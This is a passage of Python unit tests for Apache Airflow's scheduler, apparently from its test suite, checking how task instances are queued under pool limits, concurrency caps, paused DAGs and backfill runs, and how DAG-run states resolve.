scheduler._process_executor_events(simple_dag_bag=dagbag1) ti1.refresh_from_db() self.assertEqual(ti1.state, State.SUCCESS) def test_execute_task_instances_is_paused_wont_execute(self): dag_id = 'SchedulerJobTest.test_execute_task_instances_is_paused_wont_execute' task_id_1 = 'dummy_task' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) ti1 = TI(task1, DEFAULT_DATE) ti1.state = State.SCHEDULED dr1.state = State.RUNNING dagmodel = models.DagModel() dagmodel.dag_id = dag_id dagmodel.is_paused = True session.merge(ti1) session.merge(dr1) session.add(dagmodel) session.commit() scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) ti1.refresh_from_db() self.assertEqual(State.SCHEDULED, ti1.state) def test_execute_task_instances_no_dagrun_task_will_execute(self): """ Tests that tasks without dagrun still get executed. """ dag_id = 'SchedulerJobTest.test_execute_task_instances_no_dagrun_task_will_execute' task_id_1 = 'dummy_task' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() scheduler.create_dag_run(dag) ti1 = TI(task1, DEFAULT_DATE) ti1.state = State.SCHEDULED ti1.execution_date = ti1.execution_date + datetime.timedelta(days=1) session.merge(ti1) session.commit() scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) ti1.refresh_from_db() self.assertEqual(State.QUEUED, ti1.state) def test_execute_task_instances_backfill_tasks_wont_execute(self): """ Tests that backfill tasks won't get executed. """ dag_id = 'SchedulerJobTest.test_execute_task_instances_backfill_tasks_wont_execute' task_id_1 = 'dummy_task' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr1.run_id = BackfillJob.ID_PREFIX + '_blah' ti1 = TI(task1, dr1.execution_date) ti1.refresh_from_db() ti1.state = State.SCHEDULED session.merge(ti1) session.merge(dr1) session.commit() self.assertTrue(dr1.is_backfill) scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) ti1.refresh_from_db() self.assertEqual(State.SCHEDULED, ti1.state) def test_find_executable_task_instances_backfill_nodagrun(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_backfill_nodagrun' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr2.run_id = BackfillJob.ID_PREFIX + 'asdf' ti_no_dagrun = TI(task1, DEFAULT_DATE - datetime.timedelta(days=1)) ti_backfill = TI(task1, dr2.execution_date) ti_with_dagrun = TI(task1, dr1.execution_date) # ti_with_paused ti_no_dagrun.state = State.SCHEDULED ti_backfill.state = State.SCHEDULED ti_with_dagrun.state = State.SCHEDULED session.merge(dr2) session.merge(ti_no_dagrun) session.merge(ti_backfill) session.merge(ti_with_dagrun) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(2, len(res)) res_keys = map(lambda x: x.key, res) self.assertIn(ti_no_dagrun.key, res_keys) self.assertIn(ti_with_dagrun.key, res_keys) def test_find_executable_task_instances_pool(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_pool' task_id_1 = 'dummy' task_id_2 = 'dummydummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task1 = DummyOperator(dag=dag, task_id=task_id_1, pool='a') task2 = DummyOperator(dag=dag, task_id=task_id_2, pool='b') dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) tis = ([ TI(task1, dr1.execution_date), TI(task2, dr1.execution_date), TI(task1, dr2.execution_date), TI(task2, dr2.execution_date) ]) for ti in tis: ti.state = State.SCHEDULED session.merge(ti) pool = models.Pool(pool='a', slots=1, description='haha') pool2 = models.Pool(pool='b', slots=100, description='haha') session.add(pool) session.add(pool2) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) session.commit() self.assertEqual(3, len(res)) res_keys = [] for ti in res: res_keys.append(ti.key) self.assertIn(tis[0].key, res_keys) self.assertIn(tis[1].key, res_keys) self.assertIn(tis[3].key, res_keys) def test_nonexistent_pool(self): dag_id = 'SchedulerJobTest.test_nonexistent_pool' task_id = 'dummy_wrong_pool' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task = DummyOperator(dag=dag, task_id=task_id, pool="this_pool_doesnt_exist") dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr = scheduler.create_dag_run(dag) ti = TI(task, dr.execution_date) ti.state = State.SCHEDULED session.merge(ti) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) session.commit() self.assertEqual(0, len(res)) def test_find_executable_task_instances_none(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_none' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() scheduler.create_dag_run(dag) session.commit() self.assertEqual(0, len(scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session))) def test_find_executable_task_instances_concurrency(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_concurrency' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=2) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr3 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti2 = TI(task1, dr2.execution_date) ti3 = TI(task1, dr3.execution_date) ti1.state = State.RUNNING ti2.state = State.SCHEDULED ti3.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.merge(ti3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(1, len(res)) res_keys = map(lambda x: x.key, res) self.assertIn(ti2.key, res_keys) ti2.state = State.RUNNING session.merge(ti2) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(0, len(res)) def test_find_executable_task_instances_concurrency_queued(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_concurrency_queued' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=3) task1 = DummyOperator(dag=dag, task_id='dummy1') task2 = DummyOperator(dag=dag, task_id='dummy2') task3 = DummyOperator(dag=dag, task_id='dummy3') dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dag_run = scheduler.create_dag_run(dag) ti1 = TI(task1, dag_run.execution_date) ti2 = TI(task2, dag_run.execution_date) ti3 = TI(task3, dag_run.execution_date) ti1.state = State.RUNNING ti2.state = State.QUEUED ti3.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.merge(ti3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(1, len(res)) self.assertEqual(res[0].key, ti3.key) def test_find_executable_task_instances_task_concurrency(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_task_concurrency' task_id_1 = 'dummy' task_id_2 = 'dummy2' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task1 = DummyOperator(dag=dag, task_id=task_id_1, task_concurrency=2) task2 = DummyOperator(dag=dag, task_id=task_id_2) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr3 = scheduler.create_dag_run(dag) ti1_1 = TI(task1, dr1.execution_date) ti2 = TI(task2, dr1.execution_date) ti1_1.state = State.SCHEDULED ti2.state = State.SCHEDULED session.merge(ti1_1) session.merge(ti2) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(2, len(res)) ti1_1.state = State.RUNNING ti2.state = State.RUNNING ti1_2 = TI(task1, dr2.execution_date) ti1_2.state = State.SCHEDULED session.merge(ti1_1) session.merge(ti2) session.merge(ti1_2) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(1, len(res)) ti1_2.state = State.RUNNING ti1_3 = TI(task1, dr3.execution_date) ti1_3.state = State.SCHEDULED session.merge(ti1_2) session.merge(ti1_3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(0, len(res)) ti1_1.state = State.SCHEDULED ti1_2.state = State.SCHEDULED ti1_3.state = State.SCHEDULED session.merge(ti1_1) session.merge(ti1_2) session.merge(ti1_3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(2, len(res)) ti1_1.state = State.RUNNING ti1_2.state = State.SCHEDULED ti1_3.state = State.SCHEDULED session.merge(ti1_1) session.merge(ti1_2) session.merge(ti1_3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(1, len(res)) def test_change_state_for_executable_task_instances_no_tis(self): scheduler = SchedulerJob() session = settings.Session() res = scheduler._change_state_for_executable_task_instances( [], [State.NONE], session) self.assertEqual(0, len(res)) def test_change_state_for_executable_task_instances_no_tis_with_state(self): dag_id = 'SchedulerJobTest.test_change_state_for__no_tis_with_state' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=2) task1 = DummyOperator(dag=dag, task_id=task_id_1) self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr3 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti2 = TI(task1, dr2.execution_date) ti3 = TI(task1, dr3.execution_date) ti1.state = State.SCHEDULED ti2.state = State.SCHEDULED ti3.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.merge(ti3) session.commit() res = scheduler._change_state_for_executable_task_instances( [ti1, ti2, ti3], [State.RUNNING], session) self.assertEqual(0, len(res)) def test_change_state_for_executable_task_instances_none_state(self): dag_id = 'SchedulerJobTest.test_change_state_for__none_state' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=2) task1 = DummyOperator(dag=dag, task_id=task_id_1) self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr3 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti2 = TI(task1, dr2.execution_date) ti3 = TI(task1, dr3.execution_date) ti1.state = State.SCHEDULED ti2.state = State.QUEUED ti3.state = State.NONE session.merge(ti1) session.merge(ti2) session.merge(ti3) session.commit() res = scheduler._change_state_for_executable_task_instances( [ti1, ti2, ti3], [State.NONE, State.SCHEDULED], session) self.assertEqual(2, len(res)) ti1.refresh_from_db() ti3.refresh_from_db() self.assertEqual(State.QUEUED, ti1.state) self.assertEqual(State.QUEUED, ti3.state) def test_enqueue_task_instances_with_queued_state(self): dag_id = 'SchedulerJobTest.test_enqueue_task_instances_with_queued_state' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) session.merge(ti1) session.commit() with patch.object(BaseExecutor, 'queue_command') as mock_queue_command: scheduler._enqueue_task_instances_with_queued_state(dagbag, [ti1]) mock_queue_command.assert_called() def test_execute_task_instances_nothing(self): dag_id = 'SchedulerJobTest.test_execute_task_instances_nothing' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=2) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = SimpleDagBag([]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti1.state = State.SCHEDULED session.merge(ti1) session.commit() self.assertEqual(0, scheduler._execute_task_instances(dagbag, states=[State.SCHEDULED])) def test_execute_task_instances(self): dag_id = 'SchedulerJobTest.test_execute_task_instances' task_id_1 = 'dummy_task' task_id_2 = 'dummy_task_nonexistent_queue' # important that len(tasks) is less than concurrency # because before scheduler._execute_task_instances would only # check the num tasks once so if concurrency was 3, # we could execute arbitrarily many tasks in the second run dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=3) task1 = DummyOperator(dag=dag, task_id=task_id_1) task2 = DummyOperator(dag=dag, task_id=task_id_2) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() # create first dag run with 1 running and 1 queued dr1 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti2 = TI(task2, dr1.execution_date) ti1.refresh_from_db() ti2.refresh_from_db() ti1.state = State.RUNNING ti2.state = State.RUNNING session.merge(ti1) session.merge(ti2) session.commit() self.assertEqual(State.RUNNING, dr1.state) self.assertEqual( 2, DAG.get_num_task_instances( dag_id, dag.task_ids, states=[State.RUNNING], session=session ) ) # create second dag run dr2 = scheduler.create_dag_run(dag) ti3 = TI(task1, dr2.execution_date) ti4 = TI(task2, dr2.execution_date) ti3.refresh_from_db() ti4.refresh_from_db() # manually set to scheduled so we can pick them up ti3.state = State.SCHEDULED ti4.state = State.SCHEDULED session.merge(ti3) session.merge(ti4) session.commit() self.assertEqual(State.RUNNING, dr2.state) res = scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) # check that concurrency is respected ti1.refresh_from_db() ti2.refresh_from_db() ti3.refresh_from_db() ti4.refresh_from_db() self.assertEqual( 3, DAG.get_num_task_instances( dag_id, dag.task_ids, states=[State.RUNNING, State.QUEUED], session=session ) ) self.assertEqual(State.RUNNING, ti1.state) self.assertEqual(State.RUNNING, ti2.state) six.assertCountEqual(self, [State.QUEUED, State.SCHEDULED], [ti3.state, ti4.state]) self.assertEqual(1, res) def test_execute_task_instances_limit(self): dag_id = 'SchedulerJobTest.test_execute_task_instances_limit' task_id_1 = 'dummy_task' task_id_2 = 'dummy_task_2' # important that len(tasks) is less than concurrency # because before scheduler._execute_task_instances would only # check the num tasks once so if concurrency was 3, # we could execute arbitrarily many tasks in the second run dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task1 = DummyOperator(dag=dag, task_id=task_id_1) task2 = DummyOperator(dag=dag, task_id=task_id_2) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() scheduler.max_tis_per_query = 3 session = settings.Session() tis = [] for i in range(0, 4): dr = scheduler.create_dag_run(dag) ti1 = TI(task1, dr.execution_date) ti2 = TI(task2, dr.execution_date) tis.append(ti1) tis.append(ti2) ti1.refresh_from_db() ti2.refresh_from_db() ti1.state = State.SCHEDULED ti2.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.commit() res = scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) self.assertEqual(8, res) for ti in tis: ti.refresh_from_db() self.assertEqual(State.QUEUED, ti.state) @unittest.skipUnless("INTEGRATION" in os.environ, "The test is flaky with nondeterministic result") def test_change_state_for_tis_without_dagrun(self): dag1 = DAG(dag_id='test_change_state_for_tis_without_dagrun', start_date=DEFAULT_DATE) DummyOperator(task_id='dummy', dag=dag1, owner='airflow') DummyOperator(task_id='dummy_b', dag=dag1, owner='airflow') dag2 = DAG(dag_id='test_change_state_for_tis_without_dagrun_dont_change', start_date=DEFAULT_DATE) DummyOperator(task_id='dummy', dag=dag2, owner='airflow') dag3 = DAG(dag_id='test_change_state_for_tis_without_dagrun_no_dagrun', start_date=DEFAULT_DATE) DummyOperator(task_id='dummy', dag=dag3, owner='airflow') session = settings.Session() dr1 = dag1.create_dagrun(run_id=DagRun.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) dr2 = dag2.create_dagrun(run_id=DagRun.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti1a = dr1.get_task_instance(task_id='dummy', session=session) ti1a.state = State.SCHEDULED ti1b = dr1.get_task_instance(task_id='dummy_b', session=session) ti1b.state = State.SUCCESS session.commit() ti2 = dr2.get_task_instance(task_id='dummy', session=session) ti2.state = State.SCHEDULED session.commit() ti3 = TI(dag3.get_task('dummy'), DEFAULT_DATE) ti3.state = State.SCHEDULED session.merge(ti3) session.commit() dagbag = self._make_simple_dag_bag([dag1, dag2, dag3]) scheduler = SchedulerJob(num_runs=0) scheduler._change_state_for_tis_without_dagrun( simple_dag_bag=dagbag, old_states=[State.SCHEDULED, State.QUEUED], new_state=State.NONE, session=session) ti1a = dr1.get_task_instance(task_id='dummy', session=session) ti1a.refresh_from_db(session=session) self.assertEqual(ti1a.state, State.SCHEDULED) ti1b = dr1.get_task_instance(task_id='dummy_b', session=session) ti1b.refresh_from_db(session=session) self.assertEqual(ti1b.state, State.SUCCESS) ti2 = dr2.get_task_instance(task_id='dummy', session=session) ti2.refresh_from_db(session=session) self.assertEqual(ti2.state, State.SCHEDULED) ti3.refresh_from_db(session=session) self.assertEqual(ti3.state, State.NONE) dr1.refresh_from_db(session=session) dr1.state = State.FAILED # why o why session.merge(dr1) session.commit() scheduler._change_state_for_tis_without_dagrun( simple_dag_bag=dagbag, old_states=[State.SCHEDULED, State.QUEUED], new_state=State.NONE, session=session) ti1a.refresh_from_db(session=session) self.assertEqual(ti1a.state, State.SCHEDULED) # don't touch ti1b ti1b.refresh_from_db(session=session) self.assertEqual(ti1b.state, State.SUCCESS) # don't touch ti2 ti2.refresh_from_db(session=session) self.assertEqual(ti2.state, State.SCHEDULED) def test_change_state_for_tasks_failed_to_execute(self): dag = DAG( dag_id='dag_id', start_date=DEFAULT_DATE) task = DummyOperator( task_id='task_id', dag=dag, owner='airflow') # If there's no left over task in executor.queued_tasks, nothing happens session = settings.Session() scheduler_job = SchedulerJob() mock_logger = mock.MagicMock() test_executor = TestExecutor() scheduler_job.executor = test_executor scheduler_job._logger = mock_logger scheduler_job._change_state_for_tasks_failed_to_execute() mock_logger.info.assert_not_called() # Tasks failed to execute with QUEUED state will be set to SCHEDULED state. session.query(TI).delete() session.commit() key = 'dag_id', 'task_id', DEFAULT_DATE, 1 test_executor.queued_tasks[key] = 'value' ti = TI(task, DEFAULT_DATE) ti.state = State.QUEUED session.merge(ti) session.commit() scheduler_job._change_state_for_tasks_failed_to_execute() ti.refresh_from_db() self.assertEqual(State.SCHEDULED, ti.state) # Tasks failed to execute with RUNNING state will not be set to SCHEDULED state. session.query(TI).delete() session.commit() ti.state = State.RUNNING session.merge(ti) session.commit() scheduler_job._change_state_for_tasks_failed_to_execute() ti.refresh_from_db() self.assertEqual(State.RUNNING, ti.state) def test_execute_helper_reset_orphaned_tasks(self): session = settings.Session() dag = DAG( 'test_execute_helper_reset_orphaned_tasks', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}) with dag: op1 = DummyOperator(task_id='op1') dag.clear() dr = dag.create_dagrun(run_id=DagRun.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) dr2 = dag.create_dagrun(run_id=BackfillJob.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE + datetime.timedelta(1), start_date=DEFAULT_DATE, session=session) ti = dr.get_task_instance(task_id=op1.task_id, session=session) ti.state = State.SCHEDULED ti2 = dr2.get_task_instance(task_id=op1.task_id, session=session) ti2.state = State.SCHEDULED session.commit() processor = mock.MagicMock() scheduler = SchedulerJob(num_runs=0) executor = TestExecutor() scheduler.executor = executor scheduler.processor_agent = processor scheduler._execute_helper() ti = dr.get_task_instance(task_id=op1.task_id, session=session) self.assertEqual(ti.state, State.NONE) ti2 = dr2.get_task_instance(task_id=op1.task_id, session=session) self.assertEqual(ti2.state, State.SCHEDULED) @parameterized.expand([ [State.UP_FOR_RETRY, State.FAILED], [State.QUEUED, State.NONE], [State.SCHEDULED, State.NONE], [State.UP_FOR_RESCHEDULE, State.NONE], ]) def test_execute_helper_should_change_state_for_tis_without_dagrun( self, initial_task_state, expected_task_state): session = settings.Session() dag = DAG( 'test_execute_helper_should_change_state_for_tis_without_dagrun', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}) with dag: op1 = DummyOperator(task_id='op1') # Create DAG run with FAILED state dag.clear() dr = dag.create_dagrun(run_id=DagRun.ID_PREFIX, state=State.FAILED, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti = dr.get_task_instance(task_id=op1.task_id, session=session) ti.state = initial_task_state session.commit() # Create scheduler and mock calls to processor. Run duration is set # to a high value to ensure loop is entered. Poll interval is 0 to # avoid sleep. Done flag is set to true to exist the loop immediately. scheduler = SchedulerJob(num_runs=0, processor_poll_interval=0) executor = TestExecutor() executor.queued_tasks scheduler.executor = executor processor = mock.MagicMock() processor.harvest_simple_dags.return_value = [dag] processor.done = True scheduler.processor_agent = processor scheduler._execute_helper() ti = dr.get_task_instance(task_id=op1.task_id, session=session) self.assertEqual(ti.state, expected_task_state) @provide_session def evaluate_dagrun( self, dag_id, expected_task_states, # dict of task_id: state dagrun_state, run_kwargs=None, advance_execution_date=False, session=None): """ Helper for testing DagRun states with simple two-task DAGS. This is hackish: a dag run is created but its tasks are run by a backfill. """ if run_kwargs is None: run_kwargs = {} scheduler = SchedulerJob() dag = self.dagbag.get_dag(dag_id) dag.clear() dr = scheduler.create_dag_run(dag) if advance_execution_date: # run a second time to schedule a dagrun after the start_date dr = scheduler.create_dag_run(dag) ex_date = dr.execution_date try: dag.run(start_date=ex_date, end_date=ex_date, **run_kwargs) except AirflowException: pass # test tasks for task_id, expected_state in expected_task_states.items(): task = dag.get_task(task_id) ti = TI(task, ex_date) ti.refresh_from_db() self.assertEqual(ti.state, expected_state) # load dagrun dr = DagRun.find(dag_id=dag_id, execution_date=ex_date) dr = dr[0] dr.dag = dag self.assertEqual(dr.state, dagrun_state) def test_dagrun_fail(self): """ DagRuns with one failed and one incomplete root task -> FAILED """ self.evaluate_dagrun( dag_id='test_dagrun_states_fail', expected_task_states={ 'test_dagrun_fail': State.FAILED, 'test_dagrun_succeed': State.UPSTREAM_FAILED, }, dagrun_state=State.FAILED) def test_dagrun_success(self): """ DagRuns with one failed and one successful root task -> SUCCESS """ self.evaluate_dagrun( dag_id='test_dagrun_states_success', expected_task_states={ 'test_dagrun_fail': State.FAILED, 'test_dagrun_succeed': State.SUCCESS, }, dagrun_state=State.SUCCESS) def test_dagrun_root_fail(self): """ DagRuns with one successful and one failed root task -> FAILED """ self.evaluate_dagrun( dag_id='test_dagrun_states_root_fail', expected_task_states={ 'test_dagrun_succeed': State.SUCCESS, 'test_dagrun_fail': State.FAILED, }, dagrun_state=State.FAILED) def test_dagrun_root_fail_unfinished(self): """ DagRuns with one unfinished and one failed root task -> RUNNING """ # Run both the failed and successful tasks scheduler = SchedulerJob() dag_id = 'test_dagrun_states_root_fail_unfinished' dag = self.dagbag.get_dag(dag_id) dag.clear() dr = scheduler.create_dag_run(dag) try: dag.run(start_date=dr.execution_date, end_date=dr.execution_date) except AirflowException: # Expect an exception since there is a failed task pass # Mark the successful task as never having run since we want to see if the # dagrun will be in a running state despite haveing an unfinished task. with create_session() as session: ti = dr.get_task_instance('test_dagrun_unfinished', session=session) ti.state = State.NONE session.commit() dr_state = dr.update_state() self.assertEqual(dr_state, State.RUNNING) def test_dagrun_root_after_dagrun_unfinished(self): """ DagRuns with one successful and one future root task -> SUCCESS Noted: the DagRun state could be still in running state during CI. """ dag_id = 'test_dagrun_states_root_future' dag = self.dagbag.get_dag(dag_id) dag.clear() scheduler = SchedulerJob(dag_id, num_runs=2) # we can't use dag.run or evaluate_dagrun because it uses BackfillJob # instead of SchedulerJob and BackfillJobs are allowed to not respect start dates scheduler.run() first_run = DagRun.find(dag_id=dag_id, execution_date=DEFAULT_DATE)[0] ti_ids = [(ti.task_id, ti.state) for ti in first_run.get_task_instances()] self.assertEqual(ti_ids, [('current', State.SUCCESS)]) self.assertIn(first_run.state, [State.SUCCESS, State.RUNNING]) def test_dagrun_deadlock_ignore_depends_on_past_advance_ex_date(self): """ DagRun is marked a success if ignore_first_depends_on_past=True Test that an otherwise-deadlocked dagrun is marked as a success if ignore_first_depends_on_past=True and the dagrun execution_date is after the start_date. """ self.evaluate_dagrun( dag_id='test_dagrun_states_deadlock', expected_task_states={ 'test_depends_on_past': State.SUCCESS, 'test_depends_on_past_2': State.SUCCESS, }, dagrun_state=State.SUCCESS, advance_execution_date=True, run_kwargs=dict(ignore_first_depends_on_past=True)) def test_dagrun_deadlock_ignore_depends_on_past(self): """ Test that ignore_first_depends_on_past doesn't affect results (this is the same test as test_dagrun_deadlock_ignore_depends_on_past_advance_ex_date except that start_date == execution_date so depends_on_past is irrelevant). """ self.evaluate_dagrun( dag_id='test_dagrun_states_deadlock', expected_task_states={ 'test_depends_on_past': State.SUCCESS, 'test_depends_on_past_2': State.SUCCESS, }, dagrun_state=State.SUCCESS, run_kwargs=dict(ignore_first_depends_on_past=True)) def test_scheduler_start_date(self): """ Test that the scheduler respects start_dates, even when DAGS have run """ with create_session() as session: dag_id = 'test_start_date_scheduling' dag = self.dagbag.get_dag(dag_id) dag.clear() self.assertTrue(dag.start_date > datetime.datetime.utcnow()) scheduler = SchedulerJob(dag_id, subdir=os.path.join(TEST_DAG_FOLDER, 'test_scheduler_dags.py'), num_runs=1) scheduler.run() # zero tasks ran self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 0) session.commit() # previously, running this backfill would kick off the Scheduler # because it would take the most recent run and start from there # That behavior still exists, but now it will only do so if after the # start date backfill = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE) backfill.run() # one task ran self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 1) session.commit() scheduler = SchedulerJob(dag_id, subdir=os.path.join(TEST_DAG_FOLDER, 'test_scheduler_dags.py'), num_runs=1) scheduler.run() # still one task self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 1) session.commit() def test_scheduler_task_start_date(self): """ Test that the scheduler respects task start dates that are different from DAG start dates """ dag_id = 'test_task_start_date_scheduling' dag = self.dagbag.get_dag(dag_id) dag.clear() scheduler = SchedulerJob(dag_id, subdir=os.path.join(TEST_DAG_FOLDER, 'test_scheduler_dags.py'), num_runs=2) scheduler.run() session = settings.Session() tiq = session.query(TI).filter(TI.dag_id == dag_id) ti1s = tiq.filter(TI.task_id == 'dummy1').all() ti2s = tiq.filter(TI.task_id == 'dummy2').all() self.assertEqual(len(ti1s), 0) self.assertEqual(len(ti2s), 2) for t in ti2s: self.assertEqual(t.state, State.SUCCESS) def test_scheduler_multiprocessing(self): """ Test that the scheduler can successfully queue multiple dags in parallel """ dag_ids = ['test_start_date_scheduling', 'test_dagrun_states_success'] for dag_id in dag_ids: dag = self.dagbag.get_dag(dag_id) dag.clear() scheduler = SchedulerJob(dag_ids=dag_ids, subdir=os.path.join(TEST_DAG_FOLDER, 'test_scheduler_dags.py'), num_runs=1) scheduler.run() # zero tasks ran dag_id = 'test_start_date_scheduling' session = settings.Session() self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 0) def test_scheduler_dagrun_once(self): """ Test if the scheduler does not create multiple dagruns if a dag is scheduled with @once and a start_date """ dag = DAG( 'test_scheduler_dagrun_once', start_date=timezone.datetime(2015, 1, 1), schedule_interval="@once") scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) dr = scheduler.create_dag_run(dag) self.assertIsNone(dr) @parameterized.expand([ [State.NONE, None, None], [State.UP_FOR_RETRY, timezone.utcnow() - datetime.timedelta(minutes=30), timezone.utcnow() - datetime.timedelta(minutes=15)], [State.UP_FOR_RESCHEDULE, timezone.utcnow() - datetime.timedelta(minutes=30), timezone.utcnow() - datetime.timedelta(minutes=15)], ]) def test_scheduler_process_task_instances(self, state, start_date, end_date): """ Test if _process_task_instances puts the right task instances into the queue. """ dag = DAG( dag_id='test_scheduler_process_execute_task', start_date=DEFAULT_DATE) dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') with create_session() as session: orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) with create_session() as session: tis = dr.get_task_instances(session=session) for ti in tis: ti.state = state ti.start_date = start_date ti.end_date = end_date queue = Mock() scheduler._process_task_instances(dag, queue=queue) queue.append.assert_called_with( (dag.dag_id, dag_task1.task_id, DEFAULT_DATE, TRY_NUMBER) ) def test_scheduler_do_not_schedule_removed_task(self): dag = DAG( dag_id='test_scheduler_do_not_schedule_removed_task', start_date=DEFAULT_DATE) DummyOperator( 